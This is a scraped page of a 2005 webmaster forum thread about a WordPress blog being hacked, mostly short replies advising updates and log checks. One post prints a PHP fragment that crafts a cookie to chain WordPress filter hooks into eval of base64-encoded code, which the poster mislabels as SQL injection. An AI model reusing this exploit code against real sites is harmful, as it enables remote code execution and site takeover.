Grrrrr my wordpress blog has been HACKED - Page 2 - GoFuckYourself.com

woj · 10-16-2005, 01:38 PM

50 hackers....

KCat · 10-16-2005, 02:19 PM

Make sure you install the updated version of Wordpress. You're not the first this has happened to & the exploit is quite well known now. Sucks though. I think Hallmark should put out a line of "Sorry for your data loss" cards. It can be heartbreaking!

pornguy · 10-16-2005, 02:21 PM

Check your server logs, and try to find out who did it.

OG LennyT · 10-16-2005, 02:40 PM

Quote:

Originally Posted by BLOG BURGLAR

OWNED!

MUHAHAHAHAHAAH!!!!

tahiti · 10-20-2005, 06:42 PM

Quote:

Originally Posted by Chio

YARGH! Ah... Someone may have figured out the algo, and brute forced it.

witch algo? it's just a md5 hash that must have been dump.
or something like that:
$str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

$cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
$cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
$cookie.=$str;
$cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
$cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';

simple sql injection

10-16-2005, 01:38 PM	#51
woj <&(©¿©)&> Industry Role: Join Date: Jul 2002 Location: Chicago Posts: 47,882	50 hackers.... __________________ Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000 Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

10-16-2005, 02:19 PM	#52
KCat Confirmed User Join Date: Sep 2002 Location: PNW Posts: 2,204	Make sure you install the updated version of Wordpress. You're not the first this has happened to & the exploit is quite well known now. Sucks though. I think Hallmark should put out a line of "Sorry for your data loss" cards. It can be heartbreaking! __________________ ~ 300+ FHGs, 100,000 pics to use plus a rockin' Video of the Day download! ~

10-16-2005, 02:21 PM	#53
pornguy Too lazy to set a custom title Industry Role: Join Date: Mar 2003 Location: Homeless Posts: 62,911	Check your server logs, and try to find out who did it. __________________ PornGuy skype me pornguy_epic AmateurDough The Hottes Shemales online! TChicks.com \| Angeles Cid \| Mariana Cordoba \| MAILERS WELCOME!